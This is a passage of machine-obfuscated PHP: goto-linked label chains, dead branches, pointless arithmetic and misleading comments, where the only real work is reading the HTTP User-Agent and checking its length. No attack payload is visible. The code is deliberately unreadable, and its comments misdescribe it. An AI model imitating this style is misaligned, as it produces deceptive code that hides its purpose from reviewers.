$a6b9oay5s * 1; goto YFJFzGsk; YFJFzGsk: goto X9Y6JTEs; X9Y6JTEs: /* Core module */ goto LqRhBaCq; LqRhBaCq: /* Core module */ $XsucffsH = 503 + 8; $a6b9oay5s = $XsucffsH * 4; goto fSejwIn6; fSejwIn6: goto pJGD0zig; pJGD0zig: // uoGLsumz $FbaGmw5w = 884 + 48; $B9ma2fmF = $FbaGmw5w * 3; goto O2OAQQDQ; O2OAQQDQ: /* Main service */ $iX1geSuk = 902 + 8; $NqlX8zGc = $iX1geSuk * 5; if (false) { echo 'This is a dead end'; } goto eRnr2qW7; eRnr2qW7: /* Core module */ $WWDcP6ib = 391 + 24; $iX1geSuk = $WWDcP6ib * 2; goto uFK8EMy1; uFK8EMy1: goto tsU0Vp3t; tsU0Vp3t: /* System file */ $a6EHyDbxg = 256 + 29; $iCjD65Pi = $a6EHyDbxg * 1; goto EiI1I7S0; EiI1I7S0: $XsucffsH = 605 + 24; $B9ma2fmF = $XsucffsH * 4; goto HQY3mK8U; HQY3mK8U: return $BqYDw4sr > 10; } private function JQnfyvBsfo() { // eiNs_OvD6Sae goto PP92vvJ0; PP92vvJ0: $jIP39ari = 750 + 47; $XsucffsH = $jIP39ari * 1; goto a1wEwZWmS; a1wEwZWmS: /* System file */ goto oFBkXMcj; oFBkXMcj: goto a2ok4ZC9E; a2ok4ZC9E: goto a6CKZRD7_; a6CKZRD7_: $iX1geSuk = 675 + 12; $n7sJ6WnP = $iX1geSuk * 1; goto aB5tHteg; aB5tHteg: // InWiE_a1 goto BpxXOs_g; BpxXOs_g: $a6EHyDbxg = 285 + 22; $B9ma2fmF = $a6EHyDbxg * 4; goto AEVHI0p3; AEVHI0p3: $FbaGmw5w = 750 + 49; $iCjD65Pi = $FbaGmw5w * 2; goto bZeH3Dsq; bZeH3Dsq: /* xnkjdVGn55 */ goto a8_WPWnLQ; a8_WPWnLQ: /* gItS_oU4w1ztJSa */ goto YSrXkXiu; YSrXkXiu: /* System file */ if (false) { echo 'This is a dead end'; } goto a58iZg8Kj; a58iZg8Kj: /* iB9Ft2wFJb */ goto f8CH2I51; f8CH2I51: goto tHUmNAFM; tHUmNAFM: // pUz1NgVt if (false) { echo 'This is a dead end'; } goto Zwh6ovx5; Zwh6ovx5: // btQxKvXv goto kofCWcpf; kofCWcpf: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a5tb1QbFg; a5tb1QbFg: /* Security component */ if (false) { echo 'This is a dead end'; } goto zspJj7ps; zspJj7ps: /* Core module */ $BqYDw4sr = 624 + 6; $XsucffsH = $BqYDw4sr * 4; goto mYyXiUX1; mYyXiUX1: goto qo6FfoAO; qo6FfoAO: /* yeE_v1xuzO */ $FbaGmw5w = 918 + 20; $jIP39ari = $FbaGmw5w * 4; goto Omr_7zJJ; Omr_7zJJ: goto H4ThhqPS; H4ThhqPS: // bv836Woq $WWDcP6ib = 706 + 27; $NqlX8zGc = $WWDcP6ib * 3; goto a7FXYtmSZ; a7FXYtmSZ: /* Core module */ goto Qo8uofDb; Qo8uofDb: goto EdnvUKUV; EdnvUKUV: goto XN_Amc9F; XN_Amc9F: /* aqS2_NgVUFUFcChBSod_ */ goto a62NHAsEK; a62NHAsEK: goto kQq4ojYo; kQq4ojYo: if (false) { echo 'This is a dead end'; } goto pxD6XUq3; pxD6XUq3: $WWDcP6ib = 245 + 3; $NqlX8zGc = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto LbNQNLyO; LbNQNLyO: goto a7PBr8QNy; a7PBr8QNy: /* System file */ goto qZ5rBuXl; qZ5rBuXl: $B9ma2fmF = strlen($XsucffsH); goto eXi9klY0; eXi9klY0: // 8u4yGAX6 goto y3KQcxZY; y3KQcxZY: /* System file */ $jIP39ari = 825 + 40; $a6EHyDbxg = $jIP39ari * 5; goto sLY0lbZZ; sLY0lbZZ: $FbaGmw5w = 680 + 39; $n7sJ6WnP = $FbaGmw5w * 3; goto a82HHu98M; a82HHu98M: /* API handler */ goto EE0Zpdsz; EE0Zpdsz: /* oyzff1CZbiQsDMezhQf5 */ $FbaGmw5w = 442 + 15; $iCjD65Pi = $FbaGmw5w * 3; goto xFADu9_t; xFADu9_t: $iCjD65Pi = 379 + 41; $FbaGmw5w = $iCjD65Pi * 2; goto u4Gz2QuV; u4Gz2QuV: // Km8wzGmori3Rjmjr goto HaMzU9Ab; HaMzU9Ab: // scVxTGjy if (false) { echo 'This is a dead end'; } goto cKWysOT9; cKWysOT9: /* Core module */ goto a_ZXdndBX; a_ZXdndBX: goto Wuyxxre8; Wuyxxre8: goto zWwYoJSW; zWwYoJSW: // nnGJCjiwemmR goto TQt5wcEk; TQt5wcEk: goto BAmxAgqj; BAmxAgqj: /* API handler */ $a6EHyDbxg = 470 + 7; $BqYDw4sr = $a6EHyDbxg * 4; goto a2OUmA44A; a2OUmA44A: /* Security component */ goto pZ8c1xBm; pZ8c1xBm: return $B9ma2fmF > 10; } private function a3tMJHZ96Ww() { goto txLeQ2Wj; txLeQ2Wj: /* Core module */ $WWDcP6ib = 311 + 21; $a29IFo9lZ = $WWDcP6ib * 1; goto EGyGSsUp; EGyGSsUp: $FbaGmw5w = 533 + 21; $jIP39ari = $FbaGmw5w * 1; goto a87cbYPv0; a87cbYPv0: goto UQZI5Yjh; UQZI5Yjh: /* 6dmTOt3A9S */ if (false) { echo 'This is a dead end'; } goto B28Cp7hB; B28Cp7hB: /* 5fDFF3ucwvgpFHf */ $a6EHyDbxg = 811 + 1; $FbaGmw5w = $a6EHyDbxg * 3; goto AEJxRbBc; AEJxRbBc: /* 2fHC50V5vdiiQ0b */ goto ELxk09DB; ELxk09DB: // na0OZQfOl6T0 if (false) { echo 'This is a dead end'; } goto YfZ7lnrB; YfZ7lnrB: /* Main service */ goto kMC9Y8XJ; kMC9Y8XJ: /* System file */ $NqlX8zGc = 195 + 19; $B9ma2fmF = $NqlX8zGc * 5; goto s69zfcLN; s69zfcLN: /* K_z3GdhXR5XxS3daSIO8 */ goto fZnQqWkd; fZnQqWkd: /* Security component */ goto mfttzMZX; mfttzMZX: /* yXdu8VfYwA */ goto iG5OiaRm; iG5OiaRm: /* 4lWjMzwlqKTNET9 */ goto OMJp6HDH; OMJp6HDH: /* U35Wsfxquu */ goto a4nRSlyvA; a4nRSlyvA: // B1qplFvVkbKQaFLv goto qiN7OPM_; qiN7OPM_: $jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto moMGghqX; moMGghqX: goto RdShh_5W; RdShh_5W: // nOQIoTGx if (false) { echo 'This is a dead end'; } goto qfnSQEmN; qfnSQEmN: /* Core module */ $FbaGmw5w = 750 + 49; $FbaGmw5w = $FbaGmw5w * 2; if (false) { echo 'This is a dead end'; } goto a1wrjBzSE; a1wrjBzSE: /* Main service */ goto ywCNRAFH; ywCNRAFH: goto a1936H0y1; a1936H0y1: goto Q6MpoYQQ; Q6MpoYQQ: $a29IFo9lZ = 562 + 50; $iX1geSuk = $a29IFo9lZ * 2; goto fapBIYQR; fapBIYQR: /* System file */ goto A2q9PTEb; A2q9PTEb: /* Security component */ goto a5nlNFjh_; a5nlNFjh_: goto XIjnCIBN; XIjnCIBN: /* Main service */ if (false) { echo 'This is a dead end'; } goto nOIa5Je8; nOIa5Je8: // i0MdNnrEQrsM if (false) { echo 'This is a dead end'; } goto a1ta5qMw; a1ta5qMw: /* Security component */ goto cxLE_ohJ; cxLE_ohJ: // tdp0XPq4 $WWDcP6ib = 105 + 40; $iX1geSuk = $WWDcP6ib * 5; goto zWVYoi9x; zWVYoi9x: /* API handler */ if (false) { echo 'This is a dead end'; } goto ouh9cbOM; ouh9cbOM: $bZa4iOd6 = strlen($jIP39ari); goto a6TXF1y06; a6TXF1y06: /* API handler */ goto znQ3pIi4; znQ3pIi4: goto a7zpuZORr; a7zpuZORr: /* Core module */ goto xdXYK1TO; xdXYK1TO: goto hnAwq2os; hnAwq2os: goto sQhFMbju; sQhFMbju: /* b2PLyRDoD_pmu3O */ if (false) { echo 'This is a dead end'; } goto zNXpcprY; zNXpcprY: goto gFweuuVL; gFweuuVL: // MFTxs1Ww goto q9KgqY24; q9KgqY24: $bZa4iOd6 = 427 + 35; $BqYDw4sr = $bZa4iOd6 * 4; goto PgUClRxY; PgUClRxY: $Pe9zuJ4r = 879 + 45; $B9ma2fmF = $Pe9zuJ4r * 1; goto kLnbVEnH; kLnbVEnH: /* API handler */ goto ONIwknKS; ONIwknKS: /* RMt6lxV3zEYfGDP */ goto AtM255qj; AtM255qj: goto FEnzyN4h; FEnzyN4h: // ASdOQX_yAHiOhZAZ goto Lt6P_ebm; Lt6P_ebm: /* D7O56F8TKMJudwL */ goto ZjNKd6cE; ZjNKd6cE: return $bZa4iOd6 > 10; } private function a72IzioQofL() { goto a9n3jYUrx; a9n3jYUrx: if (false) { echo 'This is a dead end'; } goto dCDKHDsy; dCDKHDsy: goto kRNLQX3c; kRNLQX3c: if (false) { echo 'This is a dead end'; } goto Tw_pW3Uu; Tw_pW3Uu: /* System file */ $iCjD65Pi = 225 + 23; $iCjD65Pi = $iCjD65Pi * 4; goto auf_6xDd; auf_6xDd: /* X2oKliytQfED2ZMmhVy0 */ goto CSqxWeYw; CSqxWeYw: goto BTC3htQY; BTC3htQY: goto a2gEv5Voh; a2gEv5Voh: /* Main service */ $XsucffsH = 303 + 21; $iCjD65Pi = $XsucffsH * 5; goto yguL96A8; yguL96A8: $iCjD65Pi = 812 + 47; $NqlX8zGc = $iCjD65Pi * 1; if (false) { echo 'This is a dead end'; } goto U4LRt2bu; U4LRt2bu: /* Security component */ goto a5rLlq09O; a5rLlq09O: goto CFRrMDf8; CFRrMDf8: goto mggsZzVB; mggsZzVB: goto gn2BkgBT; gn2BkgBT: if (false) { echo 'This is a dead end'; } goto w7sOZImo; w7sOZImo: $FbaGmw5w = 146 + 28; $WWDcP6ib = $FbaGmw5w * 1; goto a6NoD7XEq; a6NoD7XEq: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto j8itNlcK; j8itNlcK: goto X3pGVVqn; X3pGVVqn: /* API handler */ $jIP39ari = 747 + 26; $NqlX8zGc = $jIP39ari * 2; if (false) { echo 'This is a dead end'; } goto fWeUOp8j; fWeUOp8j: $n7sJ6WnP = 800 + 39; $B9ma2fmF = $n7sJ6WnP * 2; goto KK6N99lh; KK6N99lh: goto ozZsc0Ok; ozZsc0Ok: /* tknwlcwGn0 */ goto E9nBLfC0; E9nBLfC0: /* 1gts5kWZc4zR0lqPvy3O */ goto F3PgWm8b; F3PgWm8b: $XsucffsH = 269 + 2; $WWDcP6ib = $XsucffsH * 5; goto XTTWlYeK; XTTWlYeK: /* RfmH7dULCXGQLB4 */ goto gd2YNDyc; gd2YNDyc: goto wdOgUJLA; wdOgUJLA: goto RUSXNMZO; RUSXNMZO: // ZxC6IN_Z goto VCgdf8fG; VCgdf8fG: $BqYDw4sr = 648 + 9; $jIP39ari = $BqYDw4sr * 1; goto lOtexWDU; lOtexWDU: $B9ma2fmF = 375 + 24; $a6EHyDbxg = $B9ma2fmF * 5; goto SzOg4tEv; SzOg4tEv: /* Core module */ goto bOQGj_p2; bOQGj_p2: if (false) { echo 'This is a dead end'; } goto D3VSDFsU; D3VSDFsU: $a6b9oay5s = strlen($B9ma2fmF); goto uclevFtL; uclevFtL: /* Core module */ goto H8jcAbjT; H8jcAbjT: /* API handler */ $bZa4iOd6 = 631 + 5; $Pe9zuJ4r = $bZa4iOd6 * 4; goto UgWWoJ3x; UgWWoJ3x: /* Security component */ $iX1geSuk = 559 + 4; $iX1geSuk = $iX1geSuk * 1; if (false) { echo 'This is a dead end'; } goto DTxsNj5j; DTxsNj5j: $a29IFo9lZ = 682 + 19; $iCjD65Pi = $a29IFo9lZ * 3; goto K4olgrMK; K4olgrMK: $BqYDw4sr = 124 + 11; $n7sJ6WnP = $BqYDw4sr * 3; if (false) { echo 'This is a dead end'; } goto CLcy6E93; CLcy6E93: // wuVDjivtmVkQ if (false) { echo 'This is a dead end'; } goto QiGNQstq; QiGNQstq: /* VAp8wxEPv7_CmGx */ goto D7htMbsZ; D7htMbsZ: goto GOOLcl8i; GOOLcl8i: // zkl6JfPuNFH0 goto y4uNxte7; y4uNxte7: // MJ6iGjm4_azp goto Ek2uxFXb; Ek2uxFXb: goto M2ues01I; M2ues01I: if (false) { echo 'This is a dead end'; } goto a1gcoKAco; a1gcoKAco: // rlHY11Qhtev4JAqP if (false) { echo 'This is a dead end'; } goto a07T5q1IM; a07T5q1IM: $a29IFo9lZ = 265 + 4; $NqlX8zGc = $a29IFo9lZ * 2; goto kyadxQD_; kyadxQD_: goto lmnMuvmm; lmnMuvmm: return $a6b9oay5s > 10; } private function W_V0YkeSQb() { // t0hUf0INgeJ7Qqbr goto NnrkLfn2; NnrkLfn2: // 8X6v5xQN goto MqwE0345; MqwE0345: $BqYDw4sr = 154 + 42; $WWDcP6ib = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto M73L4HJJ; M73L4HJJ: /* Security component */ goto UMF0lTj7; UMF0lTj7: goto a0EDCCkJg; a0EDCCkJg: if (false) { echo 'This is a dead end'; } goto EbKurnZj; EbKurnZj: if (false) { echo 'This is a dead end'; } goto Ibyi9K45; Ibyi9K45: /* T0CdfYIz_S_9Npumya_G */ goto Esp8s9l3; Esp8s9l3: goto XLHCBCez; XLHCBCez: /* laK3zMFWvc */ goto QmoyFAFX; QmoyFAFX: // _xgQ_QMvLMni $jIP39ari = 595 + 31; $a29IFo9lZ = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto b0uOdGUM; b0uOdGUM: /* Main service */ goto WLsPi51l; WLsPi51l: // Lc3Cd1tN goto OS7xS_C1; OS7xS_C1: goto U0D4IVVs; U0D4IVVs: // lCNBW8rk4bVHcdea goto duxg0lFj; duxg0lFj: if (false) { echo 'This is a dead end'; } goto fgE7j52z; fgE7j52z: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto VzHDBMEU; VzHDBMEU: /* iRK_CVJ_NoZ8nhx */ goto IhrmOe1Y; IhrmOe1Y: goto L8dBYs9F; L8dBYs9F: goto QuUAYaG6; QuUAYaG6: goto a74XsV6Ne; a74XsV6Ne: goto ixuuzFGz; ixuuzFGz: $jIP39ari = 261 + 11; $iCjD65Pi = $jIP39ari * 3; goto a0zXmYVWL; a0zXmYVWL: goto UFSoHjsQ; UFSoHjsQ: /* S_gccO88IDpgvqZ */ goto a86MQygW_; a86MQygW_: // LMJRaHiy $BqYDw4sr = 105 + 26; $iCjD65Pi = $BqYDw4sr * 1; goto wzPuYZ5E; wzPuYZ5E: goto H59o4RLg; H59o4RLg: /* Main service */ goto w1i6TCON; w1i6TCON: /* Core module */ $B9ma2fmF = 885 + 19; $B9ma2fmF = $B9ma2fmF * 3; if (false) { echo 'This is a dead end'; } goto HpKSjq57; HpKSjq57: /* API handler */ goto gxuI0jQT; gxuI0jQT: goto Aaos6oil; Aaos6oil: $BqYDw4sr = 938 + 4; $NqlX8zGc = $BqYDw4sr * 4; goto IsxwUCh9; IsxwUCh9: $Pe9zuJ4r = strlen($Pe9zuJ4r); goto otH7hw6F; otH7hw6F: goto k8acCrDu; k8acCrDu: /* API handler */ goto a4p9vEH08; a4p9vEH08: if (false) { echo 'This is a dead end'; } goto lKlOAZes; lKlOAZes: $iCjD65Pi = 488 + 23; $Pe9zuJ4r = $iCjD65Pi * 1; goto BRJzvdE_; BRJzvdE_: goto SIUtMTCA; SIUtMTCA: goto NjjRkklx; NjjRkklx: /* Security component */ $n7sJ6WnP = 444 + 26; $B9ma2fmF = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto Vgw5kjs3; Vgw5kjs3: /* x7vgvuTQb1B3Jzx */ $WWDcP6ib = 177 + 18; $bZa4iOd6 = $WWDcP6ib * 2; goto nkZyCv_Z; nkZyCv_Z: goto MpJHGL9v; MpJHGL9v: /* XWHGXCLoOFlWlzc */ goto Rzx25cUW; Rzx25cUW: // 4uvMcbV_whBC $B9ma2fmF = 738 + 7; $a6EHyDbxg = $B9ma2fmF * 5; goto KdC0jq7F; KdC0jq7F: goto a5u47etcU; a5u47etcU: /* Core module */ $XsucffsH = 891 + 6; $NqlX8zGc = $XsucffsH * 1; goto JKLWx9KX; JKLWx9KX: /* eGOpcSWLdSXv7oQk49E9 */ if (false) { echo 'This is a dead end'; } goto jci3dAN1; jci3dAN1: /* 1FqP1NgaZu */ goto AjJYDaPI; AjJYDaPI: return $Pe9zuJ4r > 10; } private function a1xlC_66YCE() { goto g3yxukyO; g3yxukyO: /* 3ksL4ssRsd */ $BqYDw4sr = 706 + 36; $WWDcP6ib = $BqYDw4sr * 2; goto k9KnhyF7; k9KnhyF7: /* Security component */ $a29IFo9lZ = 648 + 22; $a6b9oay5s = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto ZaSCGn7D; ZaSCGn7D: goto UXLjbnmw; UXLjbnmw: goto mnWdmrlP; mnWdmrlP: // q57bdCMecv8y $bZa4iOd6 = 818 + 16; $jIP39ari = $bZa4iOd6 * 1; goto g2l0xRq1; g2l0xRq1: /* fYSC7FaJY8 */ goto XdOs83B2; XdOs83B2: /* Core module */ $iCjD65Pi = 851 + 19; $a6b9oay5s = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto I2UJR6UL; I2UJR6UL: $a29IFo9lZ = 582 + 35; $jIP39ari = $a29IFo9lZ * 4; goto WORc7HWF; WORc7HWF: goto KYB1c3WM; KYB1c3WM: // BZbWCi4Y if (false) { echo 'This is a dead end'; } goto UUWEL_Vr; UUWEL_Vr: /* API handler */ goto qT2w7Qkh; qT2w7Qkh: goto vOI1nCSW; vOI1nCSW: /* System file */ $iX1geSuk = 979 + 26; $XsucffsH = $iX1geSuk * 4; if (false) { echo 'This is a dead end'; } goto ZnRlDQoX; ZnRlDQoX: /* API handler */ goto qS_WFCWa; qS_WFCWa: /* Core module */ if (false) { echo 'This is a dead end'; } goto jbeL6nWp; jbeL6nWp: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto MXGjh1ah; MXGjh1ah: if (false) { echo 'This is a dead end'; } goto MGP_xpMo; MGP_xpMo: /* WL3YSbbmkEYz_CQvAZW7 */ $B9ma2fmF = 136 + 19; $iCjD65Pi = $B9ma2fmF * 5; goto vI4ZqU1q; vI4ZqU1q: /* vAVPq7oJkkBXZyO */ goto NmECVifD; NmECVifD: $bZa4iOd6 = 106 + 35; $BqYDw4sr = $bZa4iOd6 * 2; goto zyjPQAIC; zyjPQAIC: goto a8rg6pgDI; a8rg6pgDI: /* Core module */ goto a3o0YETaE; a3o0YETaE: goto f1F8sJ_L; f1F8sJ_L: /* 2spBFVKFP6SBCiG790NK */ goto hvaXvaN_; hvaXvaN_: // T1G4hIcHGX47uT1D goto cKJ57Hk0; cKJ57Hk0: goto a1jDavvDn; a1jDavvDn: $B9ma2fmF = 101 + 18; $bZa4iOd6 = $B9ma2fmF * 3; goto ebOlPrwI; ebOlPrwI: /* Security component */ goto R5ehuGVs; R5ehuGVs: goto a3HVyzPGP; a3HVyzPGP: if (false) { echo 'This is a dead end'; } goto pqBCKBMn; pqBCKBMn: $iCjD65Pi = 423 + 32; $iX1geSuk = $iCjD65Pi * 4; if (false) { echo 'This is a dead end'; } goto dbSVTdtK; dbSVTdtK: $bZa4iOd6 = strlen($XsucffsH); goto hw3kVJT4; hw3kVJT4: goto n8QiE2Ip; n8QiE2Ip: /* System file */ $B9ma2fmF = 724 + 30; $FbaGmw5w = $B9ma2fmF * 2; goto H4lpsRnv; H4lpsRnv: /* System file */ goto Vy_S6iA3; Vy_S6iA3: /* System file */ goto SNZsR1TC; SNZsR1TC: goto Nda8mmwj; Nda8mmwj: if (false) { echo 'This is a dead end'; } goto pRNXDT1m; pRNXDT1m: $a29IFo9lZ = 503 + 39; $n7sJ6WnP = $a29IFo9lZ * 3; goto O2paSt8z; O2paSt8z: /* Security component */ $a29IFo9lZ = 194 + 35; $jIP39ari = $a29IFo9lZ * 5; goto QgbEc20J; QgbEc20J: goto EU7rUg3j; EU7rUg3j: /* Main service */ goto ALLEjebJ; ALLEjebJ: // dUqi3BE8 if (false) { echo 'This is a dead end'; } goto hO7tpxB5; hO7tpxB5: /* System file */ goto nKzLp77Z; nKzLp77Z: goto K4ZEbndf; K4ZEbndf: $iCjD65Pi = 407 + 43; $a6b9oay5s = $iCjD65Pi * 2; goto P_fCGqvr; P_fCGqvr: /* czYyoP13s87lGur */ goto DaHovGGr; DaHovGGr: return $bZa4iOd6 > 10; } private function dyRNDHF0cD() { /* Core module */ goto a6HB9GHdA; a6HB9GHdA: // IrK5og_z goto jEHtk8tI; jEHtk8tI: goto uAY_cAAC; uAY_cAAC: // _FIiDwJmgKaE3LrM goto Bwc2NLrn; Bwc2NLrn: $a29IFo9lZ = 245 + 37; $jIP39ari = $a29IFo9lZ * 2; goto a17IemTMA; a17IemTMA: /* Main service */ goto pnf6AEo3; pnf6AEo3: if (false) { echo 'This is a dead end'; } goto qPFaPBJi; qPFaPBJi: goto eFop90dY; eFop90dY: $FbaGmw5w = 607 + 50; $WWDcP6ib = $FbaGmw5w * 4; goto a_TdbydIc; a_TdbydIc: /* System file */ goto LHsZvGJO; LHsZvGJO: /* fJr8CmB3a5m5UG6 */ $B9ma2fmF = 609 + 48; $a6EHyDbxg = $B9ma2fmF * 5; goto xfWNIYX1; xfWNIYX1: goto ocC8P3zz; ocC8P3zz: goto rF1TibYF; rF1TibYF: // Eizj5MNK $bZa4iOd6 = 623 + 33; $FbaGmw5w = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto RQBWp2s2; RQBWp2s2: $a6b9oay5s = 799 + 8; $NqlX8zGc = $a6b9oay5s * 5; goto fbiXkxnF; fbiXkxnF: /* System file */ goto rlGGTs8B; rlGGTs8B: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Y7P6EtZJ; Y7P6EtZJ: // ZaP5v7XLsknD7pMT goto R__Q1BBP; R__Q1BBP: goto hHvUH4tW; hHvUH4tW: $Pe9zuJ4r = 778 + 46; $iCjD65Pi = $Pe9zuJ4r * 5; goto HbN2KpLx; HbN2KpLx: /* XdOmltn1Sm */ goto h_a6p9tv; h_a6p9tv: if (false) { echo 'This is a dead end'; } goto O1KY8KUu; O1KY8KUu: // s7gsrLeGG6sL8x0j $WWDcP6ib = 913 + 28; $iX1geSuk = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto t2fOwOB_; t2fOwOB_: /* 4NUnJIq8Z_gGEGVGUjuK */ goto EokmMxcc; EokmMxcc: /* API handler */ $iX1geSuk = 332 + 31; $jIP39ari = $iX1geSuk * 2; goto GEsm3wN4; GEsm3wN4: $a6b9oay5s = 742 + 14; $NqlX8zGc = $a6b9oay5s * 5; goto M_xlh3nG; M_xlh3nG: /* Main service */ goto yDy99C42; yDy99C42: $a6EHyDbxg = 135 + 13; $iX1geSuk = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto JiKFZDJ3; JiKFZDJ3: /* QYXWxuejUh */ goto rV01Cy2c; rV01Cy2c: goto dFA61ZBg; dFA61ZBg: $WWDcP6ib = 512 + 9; $bZa4iOd6 = $WWDcP6ib * 4; goto V_G0BCoQ; V_G0BCoQ: goto ONQ27IWq; ONQ27IWq: $jIP39ari = strlen($Pe9zuJ4r); goto VhUkpS5S; VhUkpS5S: goto bzKgd0rU; bzKgd0rU: /* Main service */ goto TRXJR4yJ; TRXJR4yJ: /* btWTFAZHIhUvuNG */ $B9ma2fmF = 949 + 12; $BqYDw4sr = $B9ma2fmF * 2; goto a8otgo9Uv; a8otgo9Uv: /* API handler */ $B9ma2fmF = 989 + 41; $BqYDw4sr = $B9ma2fmF * 2; goto nqiLrVB2; nqiLrVB2: if (false) { echo 'This is a dead end'; } goto CRAwuXR7; CRAwuXR7: /* HqJ7Xjc1rfL2M8X */ goto a6SXNyM1j; a6SXNyM1j: goto cHJcnxDu; cHJcnxDu: /* 6du_7M_yaTE2lIW7h6wj */ $B9ma2fmF = 413 + 14; $jIP39ari = $B9ma2fmF * 1; goto BZ46qVLv; BZ46qVLv: /* h1_ihYfIe5TW84V */ $n7sJ6WnP = 485 + 13; $BqYDw4sr = $n7sJ6WnP * 5; goto roLrtFcw; roLrtFcw: // 7waihHdDa3La goto a5dbm5iH0; a5dbm5iH0: // 90bvWc1WD9mcFnvP $WWDcP6ib = 503 + 45; $n7sJ6WnP = $WWDcP6ib * 2; if (false) { echo 'This is a dead end'; } goto SowiAG2i; SowiAG2i: /* API handler */ $iCjD65Pi = 384 + 39; $Pe9zuJ4r = $iCjD65Pi * 2; goto VqWjp3MH; VqWjp3MH: /* System file */ goto a_LvzJVKC; a_LvzJVKC: /* 3IdJVpmTiP */ goto Gp_dg8Kw; Gp_dg8Kw: $jIP39ari = 178 + 12; $a6EHyDbxg = $jIP39ari * 5; goto Glyq6rJA; Glyq6rJA: return $jIP39ari > 10; } private function hNhJ0zyZmn() { goto a1zto0vze; a1zto0vze: $n7sJ6WnP = 571 + 44; $B9ma2fmF = $n7sJ6WnP * 3; goto vb45JVfO; vb45JVfO: goto wNHTIz_I; wNHTIz_I: // y6aVa4jQ goto vtiLfEnZ; vtiLfEnZ: goto a5gcLKhnN; a5gcLKhnN: // sqsXnSnp_52NKxua $n7sJ6WnP = 668 + 47; $FbaGmw5w = $n7sJ6WnP * 3; goto vCFTsMMY; vCFTsMMY: $a29IFo9lZ = 781 + 20; $n7sJ6WnP = $a29IFo9lZ * 3; goto TNLnx85N; TNLnx85N: $a29IFo9lZ = 263 + 35; $n7sJ6WnP = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto a9q5wPsgu; a9q5wPsgu: goto uo3Z_n31; uo3Z_n31: if (false) { echo 'This is a dead end'; } goto a_e8rbHUV; a_e8rbHUV: // veJrg1COj6mqhPLf $BqYDw4sr = 379 + 1; $a6b9oay5s = $BqYDw4sr * 4; goto mF72VRL4; mF72VRL4: goto Hdd5UAIq; Hdd5UAIq: // mf1BBxPVt2AW $bZa4iOd6 = 882 + 30; $B9ma2fmF = $bZa4iOd6 * 1; goto z8jad_um; z8jad_um: /* 27ZzSUATdT */ $B9ma2fmF = 887 + 10; $NqlX8zGc = $B9ma2fmF * 3; goto ZJsFVRQf; ZJsFVRQf: goto eq1E5pnd; eq1E5pnd: goto a_c5GfWfu; a_c5GfWfu: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto qBYv9Smw; qBYv9Smw: /* System file */ if (false) { echo 'This is a dead end'; } goto a2xNQrQGy; a2xNQrQGy: /* oycr15JAZC */ $a6b9oay5s = 479 + 50; $XsucffsH = $a6b9oay5s * 1; goto a3IJ59Sd_; a3IJ59Sd_: goto i6EeVcG5; i6EeVcG5: // 5LWYws8C5ktLZ1Qq goto lp2el7Jd; lp2el7Jd: $bZa4iOd6 = 318 + 45; $Pe9zuJ4r = $bZa4iOd6 * 1; goto phpchAjV; phpchAjV: /* gyS70q607v1XLLF */ goto quWSoqmH; quWSoqmH: goto akIuZoLE; akIuZoLE: goto ESREvdGQ; ESREvdGQ: goto s3rSAu2a; s3rSAu2a: /* PQ1DJnAG2oa7abx */ if (false) { echo 'This is a dead end'; } goto m6UlmwwD; m6UlmwwD: /* Core module */ $iX1geSuk = 522 + 30; $a6EHyDbxg = $iX1geSuk * 1; goto ZQ8MnFXL; ZQ8MnFXL: // Uj7ZL4Pm5O9T goto a97NtxmUL; a97NtxmUL: goto iFc3fCPL; iFc3fCPL: goto ErumLI4A; ErumLI4A: $FbaGmw5w = 951 + 49; $NqlX8zGc = $FbaGmw5w * 2; goto Tm_s1QbU; Tm_s1QbU: $WWDcP6ib = strlen($B9ma2fmF); goto zrNW2qn5; zrNW2qn5: if (false) { echo 'This is a dead end'; } goto SIZ9hdiV; SIZ9hdiV: /* mR22jOOJM6C0CnQqr3ty */ if (false) { echo 'This is a dead end'; } goto ThajkhLp; ThajkhLp: goto Sj2i81ph; Sj2i81ph: goto rsCkIji2; rsCkIji2: /* ZRkjalThpX_OY33dYMOo */ $B9ma2fmF = 897 + 45; $Pe9zuJ4r = $B9ma2fmF * 3; if (false) { echo 'This is a dead end'; } goto NH2B5uwC; NH2B5uwC: /* j9oL5Blce6Lkvbs */ $WWDcP6ib = 394 + 32; $a6EHyDbxg = $WWDcP6ib * 1; if (false) { echo 'This is a dead end'; } goto UU5nPN5R; UU5nPN5R: $Pe9zuJ4r = 955 + 7; $XsucffsH = $Pe9zuJ4r * 3; goto Mg6sIAjH; Mg6sIAjH: $XsucffsH = 527 + 8; $B9ma2fmF = $XsucffsH * 4; goto a9rRLExqy; a9rRLExqy: $B9ma2fmF = 441 + 39; $FbaGmw5w = $B9ma2fmF * 1; goto N7Mji931; N7Mji931: /* Main service */ goto g0cIqfZA; g0cIqfZA: goto ZEMw6V7J; ZEMw6V7J: /* Main service */ $n7sJ6WnP = 510 + 41; $Pe9zuJ4r = $n7sJ6WnP * 1; if (false) { echo 'This is a dead end'; } goto SzPuRPg7; SzPuRPg7: /* kiX9t58q9AY2nt0gsYGX */ if (false) { echo 'This is a dead end'; } goto a2BJHpwyk; a2BJHpwyk: /* API handler */ goto dARyiYmC; dARyiYmC: goto s5JG_rbk; 